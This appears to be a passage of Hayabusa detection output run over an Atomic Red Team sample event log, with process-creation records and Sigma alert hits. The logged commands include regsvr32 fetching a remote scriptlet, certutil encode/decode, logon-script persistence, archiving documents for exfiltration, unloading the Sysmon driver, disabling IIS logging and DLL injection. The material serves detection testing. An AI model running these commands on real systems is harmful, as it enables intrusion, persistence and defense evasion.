Creation,"Command: ping -n 1 -w 100 192.168.1.252 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:40.982 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.253 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:41.530 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.254 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:42.061 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:42.276 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""arp -a"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:42.276 +09:00,MSEDGEWIN10,1,low,Suspicious Network Command,,rules/sigma/process_creation/win_pc_susp_network_command.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:42.301 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: arp -a : Path: C:\Windows\System32\ARP.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""arp -a""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:42.404 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:42.815 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""regsvr32.exe /s /u /i:C:\AtomicRedTeam\atomics\T1117\RegSvr32.sct scrobj.dll"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:42.841 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: regsvr32.exe /s /u /i:C:\AtomicRedTeam\atomics\T1117\RegSvr32.sct scrobj.dll : Path: C:\Windows\System32\regsvr32.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""regsvr32.exe /s /u /i:C:\AtomicRedTeam\atomics\T1117\RegSvr32.sct scrobj.dll""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:42.841 +09:00,MSEDGEWIN10,1,high,Regsvr32 Anomaly,,rules/sigma/process_creation/win_susp_regsvr32_anomalies.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:42.841 +09:00,MSEDGEWIN10,1,high,Regsvr32 Flags Anomaly,,rules/sigma/process_creation/win_susp_regsvr32_flags_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:43.445 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\System32\calc.exe"" : Path: C:\Windows\System32\calc.exe : User: MSEDGEWIN10\IEUser : Parent Command: regsvr32.exe /s /u /i:C:\AtomicRedTeam\atomics\T1117\RegSvr32.sct scrobj.dll",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:43.574 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:44.026 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:44.054 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll : Path: C:\Windows\System32\regsvr32.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:44.054 +09:00,MSEDGEWIN10,1,high,Regsvr32 Anomaly,,rules/sigma/process_creation/win_susp_regsvr32_anomalies.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:44.054 +09:00,MSEDGEWIN10,1,high,Regsvr32 Flags Anomaly,,rules/sigma/process_creation/win_susp_regsvr32_flags_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:45.157 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k LocalService -p -s BthAvctpSvc : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:46.204 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\System32\calc.exe"" : Path: C:\Windows\System32\calc.exe : User: MSEDGEWIN10\IEUser : Parent Command: regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:46.565 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:46.589 +09:00,MSEDGEWIN10,3,high,Regsvr32 Network Activity,,rules/sigma/network_connection/sysmon_regsvr32_network_activity.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:46.848 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\syswow64\regsvr32.exe"" /s C:\AtomicRedTeam\atomics\T1117\bin\AllTheThingsx86.dll : Path: C:\Windows\SysWOW64\regsvr32.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:46.848 +09:00,MSEDGEWIN10,1,high,Regsvr32 Anomaly,,rules/sigma/process_creation/win_susp_regsvr32_anomalies.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:46.893 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\regsvr32.exe"" /s C:\AtomicRedTeam\atomics\T1117\bin\AllTheThingsx86.dll : Path: C:\Windows\System32\regsvr32.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:46.893 +09:00,MSEDGEWIN10,1,high,Regsvr32 Anomaly,,rules/sigma/process_creation/win_susp_regsvr32_anomalies.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:46.975 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c IF %%PROCESSOR_ARCHITECTURE%% ==AMD64 ELSE : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:47.083 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: /s C:\AtomicRedTeam\atomics\T1117\bin\AllTheThingsx86.dll : Path: C:\Windows\SysWOW64\regsvr32.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\regsvr32.exe"" /s C:\AtomicRedTeam\atomics\T1117\bin\AllTheThingsx86.dll",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:47.239 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:54.976 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""REG.exe ADD HKCU\Environment /v UserInitMprLogonScript /t REG_MULTI_SZ /d "" cmd.exe : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:54.976 +09:00,MSEDGEWIN10,1,high,Logon Scripts (UserInitMprLogonScript),,rules/sigma/process_creation/sysmon_logon_scripts_userinitmprlogonscript_proc.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:54.976 +09:00,-,-,low,Quick Execution of a Series of Suspicious Commands,[condition] count() by MachineName > 5 in timeframe [result] count:8 MachineName:null timeframe:5m,rules/sigma/process_creation/win_multiple_suspicious_cli.yml,- +2019-07-19 23:53:55.018 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: REG.exe ADD HKCU\Environment /v UserInitMprLogonScript /t REG_MULTI_SZ /d cmd.exe : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""REG.exe ADD HKCU\Environment /v UserInitMprLogonScript /t REG_MULTI_SZ /d "" cmd.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:55.018 +09:00,MSEDGEWIN10,1,high,Logon Scripts (UserInitMprLogonScript),,rules/sigma/process_creation/sysmon_logon_scripts_userinitmprlogonscript_proc.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:54:01.925 +09:00,MSEDGEWIN10,13,high,Logon Scripts (UserInitMprLogonScript) Registry,,rules/sigma/registry_event/sysmon_logon_scripts_userinitmprlogonscript_reg.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:54:01.925 +09:00,MSEDGEWIN10,13,medium,Commun Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_commun.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:54:01.925 +09:00,MSEDGEWIN10,13,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:54:01.955 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:54:16.782 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""rar a -r exfilthis.rar *.docx"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:54:16.830 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:54:57.044 +09:00,MSEDGEWIN10,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:54:58.819 +09:00,MSEDGEWIN10,20,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:02.378 +09:00,MSEDGEWIN10,21,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:02.806 +09:00,MSEDGEWIN10,21,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:02.895 +09:00,MSEDGEWIN10,20,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:02.977 +09:00,MSEDGEWIN10,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:03.235 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""certutil.exe -encode c:\file.exe file.txt"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:03.235 +09:00,MSEDGEWIN10,1,high,Suspicious Certutil Command,,rules/sigma/process_creation/win_susp_certutil_command.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:03.309 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: certutil.exe -encode c:\file.exe file.txt : Path: C:\Windows\System32\certutil.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""certutil.exe -encode c:\file.exe file.txt""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:03.309 +09:00,MSEDGEWIN10,1,high,Suspicious Certutil Command,,rules/sigma/process_creation/win_susp_certutil_command.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:03.961 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""certutil.exe -decode file.txt c:\file.exe"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:03.961 +09:00,MSEDGEWIN10,1,high,Suspicious Certutil Command,,rules/sigma/process_creation/win_susp_certutil_command.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:03.974 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: certutil.exe -decode file.txt c:\file.exe : Path: C:\Windows\System32\certutil.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""certutil.exe -decode file.txt c:\file.exe""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:03.974 +09:00,MSEDGEWIN10,1,high,Suspicious Certutil Command,,rules/sigma/process_creation/win_susp_certutil_command.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:04.210 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:04.270 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""cmd.exe /c copy %%windir%%\\system32\\certutil.exe %%temp%%tcm.tmp"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:04.270 +09:00,MSEDGEWIN10,1,medium,Suspicious Copy From or To System32,,rules/sigma/process_creation/win_susp_copy_system32.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:04.294 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd.exe /c copy C:\Windows\\system32\\certutil.exe C:\Users\IEUser\AppData\Local\Temptcm.tmp : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""cmd.exe /c copy %windir%\\system32\\certutil.exe %temp%tcm.tmp""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:04.294 +09:00,MSEDGEWIN10,1,medium,Suspicious Copy From or To System32,,rules/sigma/process_creation/win_susp_copy_system32.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:04.333 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""cmd.exe /c %%temp%%tcm.tmp -decode c:\file.exe file.txt"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:04.333 +09:00,MSEDGEWIN10,1,high,Suspicious Certutil Command,,rules/sigma/process_creation/win_susp_certutil_command.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:04.361 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd.exe /c C:\Users\IEUser\AppData\Local\Temptcm.tmp -decode c:\file.exe file.txt : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""cmd.exe /c %temp%tcm.tmp -decode c:\file.exe file.txt""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:04.361 +09:00,MSEDGEWIN10,1,high,Suspicious Certutil Command,,rules/sigma/process_creation/win_susp_certutil_command.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:04.412 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Users\IEUser\AppData\Local\Temptcm.tmp -decode c:\file.exe file.txt : Path: C:\Users\IEUser\AppData\Local\Temptcm.tmp : User: MSEDGEWIN10\IEUser : Parent Command: cmd.exe /c C:\Users\IEUser\AppData\Local\Temptcm.tmp -decode c:\file.exe file.txt,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:04.412 +09:00,MSEDGEWIN10,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:04.412 +09:00,MSEDGEWIN10,1,high,Suspicious Certutil Command,,rules/sigma/process_creation/win_susp_certutil_command.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:04.643 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:14.715 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""fltmc.exe unload SysmonDrv"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:14.758 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:14.944 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""C:\Windows\System32\inetsrv\appcmd.exe set config "" ""Default /section:httplogging /dontLog:true"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:14.991 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:15.776 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\mavinject.exe"" 3912 /INJECTRUNNING C:\AtomicRedTeam\atomics\T1055\src\x64\T1055.dll : 